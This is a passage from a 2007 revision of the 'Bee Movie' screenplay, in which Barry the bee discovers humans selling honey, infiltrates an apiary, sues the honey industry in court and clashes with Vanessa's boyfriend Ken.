Well, I met someone. ADAM You met someone? Was she Bee-ish? BARRY Mmm. ADAM Not a WASP? Your parents will kill you. BARRY No, no, no, not a wasp. ADAM Spider? BARRY You know, I’m not attracted to the spiders. I know to everyone else it’s like the hottest thing with the eight legs and all. I can’t get by that face. Barry makes a spider face. ADAM So, who is she? BARRY She’s a human. ADAM Oh no, no, no, no. That didn’t happen. You didn’t do that. That is a bee law. You wouldn’t break a bee law. BARRY Her name’s Vanessa. "Bee Movie" - JS REVISIONS 8/13/07 44. ADAM Oh, oh boy! BARRY She’s so-o nice. And she’s a florist! ADAM Oh, no. No, no, no! You’re dating a human florist? BARRY We’re not dating. ADAM You’re flying outside the hive. You’re talking to human beings that attack our homes with power washers and M-80’s. That’s 1/8 of a stick of dynamite. BARRY She saved my life. And she understands me. ADAM This is over. Barry pulls out the crumb. BARRY Eat this. Barry stuffs the crumb into Adam’s face. ADAM This is not over. What was that? BARRY They call it a crumb. ADAM That was SO STINGING STRIPEY! BARRY And that’s not even what they eat. That just falls off what they eat. Do you know what a Cinnabon is? ADAM No. "Bee Movie" - JS REVISIONS 8/13/07 45. BARRY It’s bread... ADAM Come in here! BARRY and cinnamon, ADAM Be quiet! BARRY and frosting...they heat it up-- ADAM Sit down! INT. ADAM’S OFFICE - CONTINUOUS BARRY Really hot! ADAM Listen to me! We are not them. We’re us. There’s us and there’s them. BARRY Yes, but who can deny the heart that is yearning... Barry rolls his chair down the corridor. ADAM There’s no yearning. Stop yearning. Listen to me. You have got to start thinking bee, my friend. ANOTHER BEE JOINS IN. ANOTHER BEE Thinking bee. WIDER SHOT AS A 3RD BEE ENTERS, popping up over the cubicle wall. 3RD BEE Thinking bee. EVEN WIDER SHOT AS ALL THE BEES JOIN IN. "Bee Movie" - JS REVISIONS 8/13/07 46. OTHER BEES Thinking bee. Thinking bee. Thinking bee. CUT TO: SEQ. 1500 - “POOLSIDE NAGGING” EXT. BACKYARD PARENT’S HOUSE - DAY Barry sits on a RAFT in a hexagon honey pool, legs dangling into the water. Janet Benson and Martin Benson stand over him wearing big, sixties sunglasses and cabana-type outfits. The sun shines brightly behind their heads. JANET BENSON (O.C) There he is. He’s in the pool. MARTIN BENSON You know what your problem is, Barry? BARRY I’ve got to start thinking bee? MARTIN BENSON Barry, how much longer is this going to go on? It’s been three days. I don’t understand why you’re not working. BARRY Well, I’ve got a lot of big life decisions I’m thinking about. MARTIN BENSON What life? You have no life! You have no job! You’re barely a bee! Barry throws his hands in the air. BARRY Augh. JANET BENSON Would it kill you to just make a little honey? Barry ROLLS off the raft and SINKS to the bottom of the pool. We hear his parents’ MUFFLED VOICES from above the surface. "Bee Movie" - JS REVISIONS 8/13/07 47. JANET BENSON (CONT'D) (muffled) Barry, come out from under there. Your father’s talking to you. Martin, would you talk to him? MARTIN BENSON Barry, I’m talking to you. DISSOLVE TO: EXT. PICNIC AREA - DAY MUSIC: “Sugar Sugar” by the Archies. Barry and Vanessa are having a picnic. A MOSQUITO lands on Vanessa’s leg. She SWATS it violently. Barry’s head whips around, aghast. They stare at each other awkwardly in a frozen moment, then BURST INTO HYSTERICAL LAUGHTER. Vanessa GETS UP. VANESSA You coming? BARRY Got everything? VANESSA All set. Vanessa gets into a one-man Ultra Light plane with a black and yellow paint scheme. She puts on her helmet. BARRY You go ahead, I’ll catch up. VANESSA (come hither wink) Don’t be too long. The Ultra Light takes off. Barry catches up. They fly sideby-side. VANESSA (CONT’D) Watch this! Vanessa does a loop, and FLIES right into the side of a mountain, BURSTING into a huge ball of flames. "Bee Movie" - JS REVISIONS 8/13/07 48. BARRY (yelling, anguished) Vanessa! EXT. BARRY’S PARENT’S HOUSE - CONTINUOUS ANGLE ON: Barry’s face bursting through the surface of the pool, GASPING for air, eyes opening in horror. MARTIN BENSON We’re still here, Barry. JANET BENSON I told you not to yell at him. He doesn’t respond when you yell at him. MARTIN BENSON Then why are you yelling at me? JANET BENSON Because you don’t listen. MARTIN BENSON I’m not listening to this. Barry is toweling off, putting on his sweater. BARRY Sorry Mom, I’ve got to go. JANET BENSON Where are you going? BARRY Nowhere. I’m meeting a friend. Barry JUMPS off the balcony and EXITS. JANET BENSON (calling after him) A girl? Is this why you can’t decide? BARRY Bye! JANET BENSON I just hope she’s Bee-ish. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 49. SEQ. 1700 - “STREETWALK/SUPERMARKET” EXT. VANESSA’S FLORIST SHOP - DAY Vanessa FLIPS the sign to say “Sorry We Missed You”, and locks the door. ANGLE ON: A POSTER on Vanessa’s door for the Tournament of Roses Parade in Pasadena. BARRY So they have a huge parade of just flowers every year in Pasadena? VANESSA Oh, to be in the Tournament of Roses, that’s every florist’s dream. Up on a float, surrounded by flowers, crowds cheering. BARRY Wow, a tournament. Do the roses actually compete in athletic events? VANESSA No. Alright, I’ve got one. How come you don’t fly everywhere? BARRY It’s exhausting. Why don’t you run everywhere? VANESSA Hmmm. BARRY Isn’t that faster? VANESSA Yeah, okay. I see, I see. Alright, your turn. Barry and Vanessa walk/fly down a New York side street, no other pedestrians near them. BARRY Ah! Tivo. You can just freeze live TV? That’s insane. "Bee Movie" - JS REVISIONS 8/13/07 50. VANESSA What, you don’t have anything like that? BARRY We have Hivo, but it’s a disease. It’s a horrible, horrible disease. VANESSA Oh my. They turn the corner onto a busier avenue and people start to swat at Barry. MAN Dumb bees! VANESSA You must just want to sting all those jerks. BARRY We really try not to sting. It’s usually fatal for us. VANESSA So you really have to watch your temper? They ENTER a SUPERMARKET. CUT TO: INT. SUPERMARKET BARRY Oh yeah, very carefully. You kick a wall, take a walk, write an angry letter and throw it out. You work through it like any emotion-- anger, jealousy, (under his breath) lust. Barry hops on top of some cardboard boxes in the middle of an aisle. A stock boy, HECTOR, whacks him with a rolled up magazine. VANESSA (to Barry) Oh my goodness. Are you okay? "Bee Movie" - JS REVISIONS 8/13/07 51. BARRY Yeah. Whew! Vanessa WHACKS Hector over the head with the magazine. VANESSA (to Hector) What is wrong with you?! HECTOR It’s a bug. VANESSA Well he’s not bothering anybody. Get out of here, you creep. Vanessa pushes him, and Hector EXITS, muttering. BARRY (shaking it off) What was that, a Pick and Save circular? VANESSA Yeah, it was. How did you know? BARRY It felt like about ten pages. Seventy-five’s pretty much our limit. VANESSA Boy, you’ve really got that down to a science. BARRY Oh, we have to. I lost a cousin to Italian Vogue. VANESSA I’ll bet. Barry stops, sees the wall of honey jars. BARRY What, in the name of Mighty Hercules, is this? How did this get here? Cute Bee? Golden Blossom? Ray Liotta Private Select? VANESSA Is he that actor? "Bee Movie" - JS REVISIONS 8/13/07 52. BARRY I never heard of him. Why is this here? VANESSA For people. We eat it. BARRY Why? (gesturing around the market) You don’t have enough food of your own? VANESSA Well yes, we-- BARRY How do you even get it? VANESSA Well, bees make it... BARRY I know who makes it! And it’s hard to make it! There’s Heating and Cooling, and Stirring...you need a whole Krelman thing. VANESSA It’s organic. BARRY It’s our-ganic! VANESSA It’s just honey, Barry. BARRY Just...what?! Bees don’t know about this. This is stealing. A lot of stealing! You’ve taken our homes, our schools, our hospitals. This is all we have. And it’s on sale? I’m going to get to the bottom of this. I’m going to get to the bottom of all of this! He RIPS the label off the Ray Liotta Private Select. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 53. SEQ. 1800 - “WINDSHIELD” EXT. BACK OF SUPERMARKET LOADING DOCK - LATER THAT DAY Barry disguises himself by blacking out his yellow lines with a MAGIC MARKER and putting on some war paint. He sees Hector, the stock boy, with a knife CUTTING open cardboard boxes filled with honey jars. MAN You almost done? HECTOR Almost. Barry steps in some honey, making a SNAPPING noise. Hector stops and turns. HECTOR (CONT’D) He is here. I sense it. Hector grabs his BOX CUTTER. Barry REACTS, hides himself behind the box again. HECTOR (CONT’D) (talking too loud, to no one in particular) Well, I guess I’ll go home now, and just leave this nice honey out, with no one around. A BEAT. Hector pretends to exit. He takes a couple of steps in place. ANGLE ON: The honey jar. Barry steps out into a moody spotlight. BARRY You’re busted, box boy! HECTOR Ah ha! I knew I heard something. So, you can talk. Barry flies up, stinger out, pushing Hector up against the wall. As Hector backs up, he drops his knife. BARRY Oh, I can talk. And now you’re going to start talking. "Bee Movie" - JS REVISIONS 8/13/07 54. Where are you getting all the sweet stuff? Who’s your supplier?! HECTOR I don’t know what you’re talking about. I thought we were all friends. The last thing we want to do is upset any of you...bees! Hector grabs a PUSHPIN. Barry fences with his stinger. HECTOR (CONT’D) You’re too late. It’s ours now! BARRY You, sir, have crossed the wrong sword. HECTOR You, sir, are about to be lunch for my iguana, Ignacio! Barry and Hector get into a cross-swords, nose-to-nose confrontation. BARRY Where is the honey coming from? Barry knocks the pushpin out of his hand. Barry puts his stinger up to Hector’s nose. BARRY (CONT'D) Tell me where?! HECTOR (pointing to a truck) Honey Farms. It comes from Honey Farms. ANGLE ON: A Honey Farms truck leaving the parking lot. Barry turns, takes off after the truck through an alley. He follows the truck out onto a busy street, dodging a bus, and several cabs. CABBIE Crazy person! He flies through a metal pipe on the top of a truck. BARRY OOOHHH! "Bee Movie" - JS REVISIONS 8/13/07 55. BARRY (CONT'D) Barry grabs onto a bicycle messenger’s backpack. The honey farms truck starts to pull away. Barry uses the bungee cord to slingshot himself towards the truck. He lands on the windshield, where the wind plasters him to the glass. He looks up to find himself surrounded by what appear to be DEAD BUGS. He climbs across, working his way around the bodies. BARRY (CONT’D) Oh my. What horrible thing has happened here? Look at these faces. They never knew what hit them. And now they’re on the road to nowhere. A MOSQUITO opens his eyes. MOOSEBLOOD Pssst! Just keep still. BARRY What? You’re not dead? MOOSEBLOOD Do I look dead? Hey man, they will wipe anything that moves. Now, where are you headed? BARRY To Honey Farms. I am onto something huge here. MOOSEBLOOD I’m going to Alaska. Moose blood. Crazy stuff. Blows your head off. LADYBUG I’m going to Tacoma. BARRY (to fly) What about you? MOOSEBLOOD He really is dead. BARRY Alright. The WIPER comes towards them. "Bee Movie" - JS REVISIONS 8/13/07 56. MOOSEBLOOD Uh oh. BARRY What is that? MOOSEBLOOD Oh no! It’s a wiper, triple blade! BARRY Triple blade? MOOSEBLOOD Jump on. It’s your only chance, bee. They hang on as the wiper goes back and forth. MOOSEBLOOD (CONT'D) (yelling to the truck driver through the glass) Why does everything have to be so dog-gone clean?! How much do you people need to see? Open your eyes! Stick your head out the window! CUT TO: INT. TRUCK CAB SFX: Radio. RADIO VOICE For NPR News in Washington, I’m Carl Kasell. EXT. TRUCK WINDSHIELD MOOSEBLOOD But don’t kill no more bugs! The Mosquito is FLUNG off of the wiper. MOOSEBLOOD (CONT'D) Beeeeeeeeeeeeee! BARRY Moose blood guy! "Bee Movie" - JS REVISIONS 8/13/07 57. Barry slides toward the end of the wiper, is thrown off, but he grabs the AERIAL and hangs on for dear life. Barry looks across and sees a CRICKET on another vehicle in the exact same predicament. They look at each other and SCREAM in unison. BARRY AND CRICKET Aaaaaaaaaah! ANOTHER BUG grabs onto the aerial, and screams as well. INT. TRUCK CAB - SAME TIME DRIVER You hear something? TRUCKER PASSENGER Like what? DRIVER Like tiny screaming. TRUCKER PASSENGER Turn off the radio. The driver reaches down and PRESSES a button, lowering the aerial. EXT. TRUCK WINDSHIELD - SAME TIME Barry and the other bug do a “choose up” to the bottom, Barry wins. BARRY Aha! Then he finally has to let go and gets thrown into the truck horn atop cab. Mooseblood is inside. MOOSEBLOOD Hey, what’s up bee boy? BARRY Hey, Blood! DISSOLVE TO: "Bee Movie" - JS REVISIONS 8/13/07 58. INT. TRUCK HORN - LATER BARRY ...and it was just an endless row of honey jars as far as the eye could see. MOOSEBLOOD Wow. BARRY So I’m just assuming wherever this honey truck goes, that’s where they’re getting it. I mean, that honey’s ours! MOOSEBLOOD Bees hang tight. BARRY Well, we’re all jammed in there. It’s a close community. MOOSEBLOOD Not us, man. We’re on our own. Every mosquito is on his own. BARRY But what if you get in trouble? MOOSEBLOOD Trouble? You're a mosquito. You're in trouble! Nobody likes us. They’re just all smacking. People see a mosquito, smack, smack! BARRY At least you’re out in the world. You must meet a lot of girls. MOOSEBLOOD Mosquito girls try to trade up; get with a moth, dragonfly...mosquito girl don’t want no mosquito. A BLOOD MOBILE pulls up alongside. MOOSEBLOOD (CONT'D) Whoa, you have got to be kidding me. Mooseblood’s about to leave the building. So long bee. "Bee Movie" - JS REVISIONS 8/13/07 59. Mooseblood EXITS the horn, and jumps onto the blood mobile. MOOSEBLOOD (CONT'D) Hey guys. I knew I’d catch you all down here. Did you bring your crazy straws? CUT TO: SEQ. 1900 - “THE APIARY” EXT. APIARY - LATER Barry sees a SIGN, “Honey Farms” The truck comes to a stop. SFX: The Honey farms truck blares its horn. Barry flies out, lands on the hood. ANGLE ON: Two BEEKEEPERS, FREDDY and ELMO, walking around to the back of the gift shop. Barry follows them, and lands in a nearby tree FREDDY ...then we throw it in some jars, slap a label on it, and it’s pretty much pure profit. BARRY What is this place? ELMO Bees got a brain the size of a pinhead. FREDDY They are pinheads. The both LAUGH. ANGLE ON: Barry REACTING. They arrive at the back of the shop where one of them opens a SMOKER BOX. FREDDY (CONT’D) Hey, check out the new smoker. "Bee Movie" - JS REVISIONS 8/13/07 60. ELMO Oh, Sweet. That’s the one you want. FREDDY The Thomas 3000. BARRY Smoker? FREDDY 90 puffs a minute, semi-automatic. Twice the nicotine, all the tar. They LAUGH again, nefariously. FREDDY (CONT’D) Couple of breaths of this, and it knocks them right out. They make the honey, and we make the money. BARRY “They make the honey, and we make the money?” Barry climbs onto the netting of Freddy’s hat. He climbs up to the brim and looks over the edge. He sees the apiary boxes as Freddy SMOKES them. BARRY (CONT'D) Oh my. As Freddy turns around, Barry jumps into an open apiary box, and into an apartment. HOWARD and FRAN are just coming to from the smoking. BARRY (CONT’D) What’s going on? Are you okay? HOWARD Yeah, it doesn’t last too long. HE COUGHS a few times. BARRY How did you two get here? Do you know you’re in a fake hive with fake walls? HOWARD (pointing to a picture on the wall) "Bee Movie" - JS REVISIONS 8/13/07 61. Our queen was moved here, we had no choice. BARRY (looking at a picture on the wall) This is your queen? That’s a man in women’s clothes. That’s a dragqueen! The other wall opens. Barry sees the hundreds of apiary boxes. BARRY (CONT'D) What is this? Barry pulls out his camera, and starts snapping. BARRY (CONT’D) Oh no. There’s hundreds of them. (V.O, as Barry takes pictures) Bee honey, our honey, is being brazenly stolen on a massive scale. CUT TO: SEQ. 2100 - “BARRY TELLS FAMILY” INT. BARRY’S PARENT’S HOUSE - LIVING ROOM - LATER Barry has assembled his parents, Adam, and Uncle Carl. BARRY This is worse than anything the bears have done to us. And I intend to do something about it. JANET BENSON Oh Barry, stop. MARTIN BENSON Who told you that humans are taking our honey? That’s just a rumor. BARRY Do these look like rumors? Barry throws the PICTURES on the table. Uncle Carl, cleaning his glasses with his shirt tail, digs through a bowl of nuts with his finger. "Bee Movie" - JS REVISIONS 8/13/07 62. HOWARD (CONT'D) UNCLE CARL That’s a conspiracy theory. These are obviously doctored photos. JANET BENSON Barry, how did you get mixed up in all this? ADAM (jumping up) Because he’s been talking to humans! JANET BENSON Whaaat? MARTIN BENSON Talking to humans?! Oh Barry. ADAM He has a human girlfriend and they make out! JANET BENSON Make out? Barry? BARRY We do not. ADAM You wish you could. BARRY Who’s side are you on? ADAM The bees! Uncle Carl stands up and pulls his pants up to his chest. UNCLE CARL I dated a cricket once in San Antonio. Man, those crazy legs kept me up all night. Hotcheewah! JANET BENSON Barry, this is what you want to do with your life? BARRY This is what I want to do for all our lives. Nobody works harder than bees. "Bee Movie" - JS REVISIONS 8/13/07 63. Dad, I remember you coming home some nights so overworked, your hands were still stirring. You couldn’t stop them. MARTIN BENSON Ehhh... JANET BENSON (to Martin) I remember that. BARRY What right do they have to our hardearned honey? We’re living on two cups a year. They’re putting it in lip balm for no reason what-soever. MARTIN BENSON Even if it’s true, Barry, what could one bee do? BARRY I’m going to sting them where it really hurts. MARTIN BENSON In the face? BARRY No. MARTIN BENSON In the eye? That would really hurt. BARRY No. MARTIN BENSON Up the nose? That’s a killer. BARRY No. There’s only one place you can sting the humans. One place where it really matters. CUT TO: SEQ. 2300 - “HIVE AT 5 NEWS/BEE LARRY KING” "Bee Movie" - JS REVISIONS 8/13/07 64. BARRY (CONT'D) INT. NEWS STUDIO - DAY DRAMATIC NEWS MUSIC plays as the opening news sequence rolls. We see the “Hive at Five” logo, followed by shots of past news events: A BEE freeway chase, a BEE BEARD protest rally, and a BEAR pawing at the hive as the BEES flee in panic. BOB BUMBLE (V.O.) Hive at Five, the hive’s only full hour action news source... SHOTS of NEWSCASTERS flash up on screen. BOB BUMBLE (V.O.) (CONT'D) With Bob Bumble at the anchor desk... BOB has a big shock of anchorman hair, gray temples and overly white teeth. BOB BUMBLE (V.O.) (CONT'D) ...weather with Storm Stinger, sports with Buzz Larvi, and Jeanette Chung. JEANETTE is an Asian bee. BOB BUMBLE (CONT'D) Good evening, I’m Bob Bumble. JEANETTE CHUNG And I’m Jeanette Chung. BOB BUMBLE Our top story, a tri-county bee, Barry Benson... INSERT: Barry’s graduation picture. BOB BUMBLE (CONT'D) ...is saying he intends to sue the human race for stealing our honey, packaging it, and profiting from it illegally. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 65. INT. BEENN STUDIO - BEE LARRY KING LIVE BEE LARRY KING, wearing suspenders and glasses, is interviewing Barry. A LOWER-THIRD CHYRON reads: “Bee Larry King Live.” BEE LARRY KING Don’t forget, tomorrow night on Bee Larry King, we are going to have three former Queens all right here in our studio discussing their new book, “Classy Ladies,” out this week on Hexagon. (to Barry) Tonight, we’re talking to Barry Benson. Did you ever think, I’m just a kid from the hive, I can’t do this? BARRY Larry, bees have never been afraid to change the world. I mean, what about Bee-Columbus? Bee-Ghandi? Be-geesus? BEE LARRY KING Well, where I’m from you wouldn’t think of suing humans. We were thinking more like stick ball, candy stores. BARRY How old are you? BEE LARRY KING I want you to know that the entire bee community is supporting you in this case, which is certain to be the trial of the bee century. BARRY Thank you, Larry. You know, they have a Larry King in the human world, too. BEE LARRY KING It’s a common name. Next week on Bee Larry King... "Bee Movie" - JS REVISIONS 8/13/07 66. BARRY No, I mean he looks like you. And he has a show with suspenders and different colored dots behind him. BEE LARRY KING Next week on Bee Larry King... BARRY Old guy glasses, and there’s quotes along the bottom from the guest you’re watching even though you just heard them... BEE LARRY KING Bear week next week! They’re scary, they’re hairy, and they’re here live. Bee Larry King EXITS. BARRY Always leans forward, pointy shoulders, squinty eyes... (lights go out) Very Jewish. CUT TO: SEQ. 2400 - “FLOWER SHOP” INT. VANESSA’S FLOWER SHOP - NIGHT Stacks of law books are piled up, legal forms, etc. Vanessa is talking with Ken in the other room. KEN Look, in tennis, you attack at the point of weakness. VANESSA But it was my grandmother, Ken. She’s 81. KEN Honey, her backhand’s a joke. I’m not going to take advantage of that? "Bee Movie" - JS REVISIONS 8/13/07 67. BARRY (O.C) Quiet please. Actual work going on here. KEN Is that that same bee? BARRY (O.C) Yes it is. VANESSA I’m helping him sue the human race. KEN What? Barry ENTERS. BARRY Oh, hello. KEN Hello Bee. Barry flies over to Vanessa. VANESSA This is Ken. BARRY Yeah, I remember you. Timberland, size 10 1/2, Vibram sole I believe. KEN Why does he talk again, Hun? VANESSA (to Ken, sensing the tension) Listen, you’d better go because we’re really busy working. KEN But it’s our yogurt night. VANESSA (pushing him out the door) Oh...bye bye. She CLOSES the door. KEN Why is yogurt night so difficult?! "Bee Movie" - JS REVISIONS 8/13/07 68. Vanessa ENTERS the back room carrying coffee. VANESSA Oh you poor thing, you two have been at this for hours. BARRY Yes, and Adam here has been a huge help. ANGLE ON: A EMPTY CINNABON BOX with Adam asleep inside, covered in frosting. VANESSA How many sugars? BARRY Just one. I try not to use the competition. So, why are you helping me, anyway? VANESSA Bees have good qualities. BARRY (rowing on the sugar cube like a gondola) Si, Certo. VANESSA And it feels good to take my mind off the shop. I don’t know why, instead of flowers, people are giving balloon bouquets now. BARRY Yeah, those are great...if you’re 3. VANESSA And artificial flowers. BARRY (re: plastic flowers) Oh, they just get me psychotic! VANESSA Yeah, me too. BARRY The bent stingers, the pointless pollination. "Bee Movie" - JS REVISIONS 8/13/07 69. VANESSA Bees must hate those fake plastic things. BARRY There’s nothing worse than a daffodil that’s had work done. VANESSA (holding up the lawsuit documents) Well, maybe this can make up for it a little bit. CUT TO: EXT. VANESSA’S FLORIST SHOP They EXIT the store, and cross to the mailbox. VANESSA You know Barry, this lawsuit is a pretty big deal. BARRY I guess. VANESSA Are you sure that you want to go through with it? BARRY Am I sure? (kicking the envelope into the mailbox) When I’m done with the humans, they won’t be able to say, “Honey, I’m home,” without paying a royalty. CUT TO: SEQ. 2700 - “MEET MONTGOMERY” EXT. MANHATTAN COURTHOUSE - DAY P.O.V SHOT - A camera feed turns on, revealing a newsperson. "Bee Movie" - JS REVISIONS 8/13/07 70. PRESS PERSON #2 (talking to camera) Sarah, it’s an incredible scene here in downtown Manhattan where all eyes and ears of the world are anxiously waiting, because for the first time in history, we’re going to hear for ourselves if a honey bee can actually speak. ANGLE ON: Barry, Vanessa, and Adam getting out of the cab. The press spots Barry and Vanessa and pushes in. Adam sits on Vanessa’s shoulder. INT. COURTHOUSE - CONTINUOUS Barry, Vanessa, and Adam sit at the Plaintiff’s Table. VANESSA (turns to Barry) What have we gotten into here, Barry? BARRY I don’t know, but it’s pretty big, isn’t it? ADAM I can’t believe how many humans don’t have to be at work during the day. BARRY Hey, you think these billion dollar multinational food companies have good lawyers? CUT TO: EXT. COURTHOUSE STEPS - CONTINUOUS A BIG BLACK CAR pulls up. ANGLE ON: the grill filling the frame. We see the “L.T.M” monogram on the hood ornament. The defense lawyer, LAYTON T. MONTGOMERY comes out, squashing a bug on the pavement. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 71. INT. COURTHOUSE - CONTINUOUS Barry SHUDDERS. VANESSA What’s the matter? BARRY I don’t know. I just got a chill. Montgomery ENTERS. He walks by Barry’s table shaking a honey packet. MONTGOMERY Well, if it isn’t the B-Team. (re: the honey packet) Any of you boys work on this? He CHUCKLES. The JUDGE ENTERS. SEQ. 3000 - “WITNESSES” BAILIFF All rise! The Honorable Judge Bumbleton presiding. JUDGE (shuffling papers) Alright...Case number 4475, Superior Court of New York. Barry Bee Benson vs. the honey industry, is now in session. Mr. Montgomery, you are representing the five major food companies, collectively. ANGLE ON: Montgomery’s BRIEFCASE. It has an embossed emblem of an EAGLE, holding a gavel in one talon and a briefcase in the other. MONTGOMERY A privilege. JUDGE Mr. Benson. Barry STANDS. JUDGE (CONT’D) You are representing all bees of the world? "Bee Movie" - JS REVISIONS 8/13/07 72. Montgomery, the stenographer, and the jury lean in. CUT TO: EXT. COURTHOUSE - CONTINUOUS The spectators outside freeze. The helicopters angle forward to listen closely. CUT TO: INT. COURTHOUSE BARRY Bzzz bzzz bzzz...Ahh, I’m kidding, I’m kidding. Yes, your honor. We are ready to proceed. ANGLE ON: Courtroom hub-bub. JUDGE And Mr. Montgomery, your opening statement, please. Montgomery rises. MONTGOMERY (grumbles, clears his throat) Ladies and gentlemen of the jury. My grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we were to live in the topsy-turvy world Mr. Benson imagines, just think of what it would mean. Maybe I would have to negotiate with the silk worm for the elastic in my britches. Talking bee. How do we know this isn’t some sort of holographic motion picture capture Hollywood wizardry? They could be using laser beams, robotics, ventriloquism, cloning...for all we know he could be on steroids! Montgomery leers at Barry, who moves to the stand. "Bee Movie" - JS REVISIONS 8/13/07 73. JUDGE Mr. Benson? Barry makes his opening statement. BARRY Ladies and Gentlemen of the jury, there’s no trickery here. I’m just an ordinary bee. And as a bee, honey’s pretty important to me. It’s important to all bees. We invented it, we make it, and we protect it with our lives. Unfortunately, there are some people in this room who think they can take whatever they want from us cause we’re the little guys. And what I’m hoping is that after this is all over, you’ll see how by taking our honey, you’re not only taking away everything we have, but everything we are. ANGLE ON: Vanessa smiling. ANGLE ON: The BEE GALLERY wiping tears away. CUT TO: INT. BENSON HOUSE Barry’s family is watching the case on TV. JANET BENSON Oh, I wish he would dress like that all the time. So nice... CUT TO: INT. COURTROOM - LATER JUDGE Call your first witness. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 74. INT. COURTHOUSE - LATER BARRY So, Mr. Klauss Vanderhayden of Honey Farms. Pretty big company you have there? MR. VANDERHAYDEN I suppose so. BARRY And I see you also own HoneyBurton, and Hon-Ron. MR. VANDERHAYDEN Yes. They provide beekeepers for our farms. BARRY Beekeeper. I find that to be a very disturbing term, I have to say. I don’t imagine you employ any bee free-ers, do you? MR. VANDERHAYDEN No. BARRY I’m sorry. I couldn’t hear you. MR. VANDERHAYDEN (louder) No. BARRY No. Because you don’t free bees. You keep bees. And not only that, it seems you thought a bear would be an appropriate image for a jar of honey? MR. VANDERHAYDEN Well, they’re very lovable creatures. Yogi-bear, Fozzy-bear, Build-a-bear. BARRY Yeah, you mean like this?! Vanessa and the SUPERINTENDANT from her building ENTER with a GIANT FEROCIOUS GRIZZLY BEAR. He has a neck collar and chains extending from either side. "Bee Movie" - JS REVISIONS 8/13/07 75. By pulling the chains, they bring him directly in front of Vanderhayden. The bear LUNGES and ROARS. BARRY (CONT'D) Bears kill bees! How would you like his big hairy head crashing into your living room? Biting into your couch, spitting out your throwpillows...rowr, rowr! The bear REACTS. BEAR Rowr!! BARRY Okay, that’s enough. Take him away. Vanessa and the Superintendant pull the bear out of the courtroom. Vanderhayden TREMBLES. The judge GLARES at him. CUT TO: INT. COURTROOM- A LITTLE LATER Barry questions STING. BARRY So, Mr. Sting. Thank you for being here. Your name intrigues me, I have to say. Where have I heard it before? STING I was with a band called "The Police". BARRY But you've never been a police officer of any kind, have you? STING No, I haven't. "Bee Movie" - JS REVISIONS 8/13/07 76. BARRY No, you haven’t. And so, here we have yet another example of bee culture being casually stolen by a human for nothing more than a prance-about stage name. STING Oh please. BARRY Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say, (looking in folder) Mr. Gordon M. Sumner? The jury GASPS. MONTGOMERY (to his aides) That’s not his real name? You idiots! CUT TO: INT. COURTHOUSE- LATER BARRY Mr. Liotta, first may I offer my belated congratulations on your Emmy win for a guest spot on E.R. in 2005. LIOTTA Thank you. Thank you. Liotta LAUGHS MANIACALLY. BARRY I also see from your resume that you’re devilishly handsome, but with a churning inner turmoil that’s always ready to blow. LIOTTA I enjoy what I do. Is that a crime? "Bee Movie" - JS REVISIONS 8/13/07 77. BARRY Not yet it isn’t. But is this what it’s come to for you, Mr. Liotta? Exploiting tiny helpless bees so you don’t have to rehearse your part, and learn your lines, Sir? LIOTTA Watch it Benson, I could blow right now. BARRY This isn’t a goodfella. This is a badfella! LIOTTA (exploding, trying to smash Barry with the Emmy) Why doesn’t someone just step on this little creep and we can all go home? You’re all thinking it. Say it! JUDGE Order! Order in this courtroom! A MONTAGE OF NEWSPAPER HEADLINES FOLLOWS: NEW YORK POST: “Bees to Humans: Buzz Off”. NEW YORK TELEGRAM: “Sue Bee”. DAILY VARIETY: “Studio Dumps Liotta Project. Slams Door on Unlawful Entry 2.” CUT TO: SEQ. 3175 - “CANDLELIGHT DINNER” INT. VANESSA’S APARTMENT Barry and Vanessa are having a candle light dinner. Visible behind Barry is a “LITTLE MISSY” SET BOX, with the flaps open. BARRY Well, I just think that was awfully nice of that bear to pitch in like that. "Bee Movie" - JS REVISIONS 8/13/07 78. VANESSA I’m telling you, I think the jury’s on our side. BARRY Are we doing everything right...you know, legally? VANESSA I’m a florist. BARRY Right, right. Barry raises his glass. BARRY (CONT’D) Well, here’s to a great team. VANESSA To a great team. They toast. Ken ENTERS KEN Well hello. VANESSA Oh...Ken. BARRY Hello. VANESSA I didn’t think you were coming. KEN No, I was just late. I tried to call. But, (holding his cell phone) the battery... VANESSA I didn’t want all this to go to waste, so I called Barry. Luckily he was free. BARRY Yeah. KEN (gritting his teeth) Oh, that was lucky. "Bee Movie" - JS REVISIONS 8/13/07 79. VANESSA Well, there’s still a little left. I could heat it up. KEN Yeah, heat it up. Sure, whatever. Vanessa EXITS. Ken and Barry look at each other as Barry eats. BARRY So, I hear you’re quite a tennis player. I’m not much for the game myself. I find the ball a little grabby. KEN That’s where I usually sit. Right there. VANESSA (O.C) Ken, Barry was looking at your resume, and he agreed with me that “eating with chopsticks” isn’t really a special skill. KEN (to Barry) You think I don’t see what you’re doing? BARRY Hey look, I know how hard it is trying to find the right job. We certainly have that in common. KEN Do we? BARRY Well, bees have 100% employment, of course. But we do jobs like taking the crud out. KEN That’s just what I was thinking about doing. Ken holds his table knife up. It slips out of his hand. He goes under the table to pick it up. "Bee Movie" - JS REVISIONS 8/13/07 80. VANESSA Ken, I let Barry borrow your razor for his fuzz. I hope that was alright. Ken hits his head on the table. BARRY I’m going to go drain the old stinger. KEN Yeah, you do that. Barry EXITS to the bathroom, grabbing a small piece of a VARIETY MAGAZINE on the way. BARRY Oh, look at that. Ken slams the champagne down on the table. Ken closes his eyes and buries his face in his hands. He grabs a magazine on the way into the bathroom. SEQ. 2800 - “BARRY FIGHTS KEN” INT. BATHROOM - CONTINUOUS Ken ENTERS, closes the door behind him. He’s not happy. Barry is washing his hands. He glances back at Ken. KEN You know, I’ve just about had it with your little mind games. BARRY What’s that? KEN Italian Vogue. BARRY Mamma Mia, that’s a lot of pages. KEN It’s a lot of ads. BARRY Remember what Van said. Why is your life any more valuable than mine? "Bee Movie" - JS REVISIONS 8/13/07 81. KEN It’s funny, I just can’t seem to recall that! Ken WHACKS at Barry with the magazine. He misses and KNOCKS EVERYTHING OFF THE VANITY. Ken grabs a can of AIR FRESHENER. KEN (CONT'D) I think something stinks in here. He sprays at Barry. BARRY I love the smell of flowers. KEN Yeah? How do you like the smell of flames? Ken lights the stream. BARRY Not as much. Barry flies in a circle. 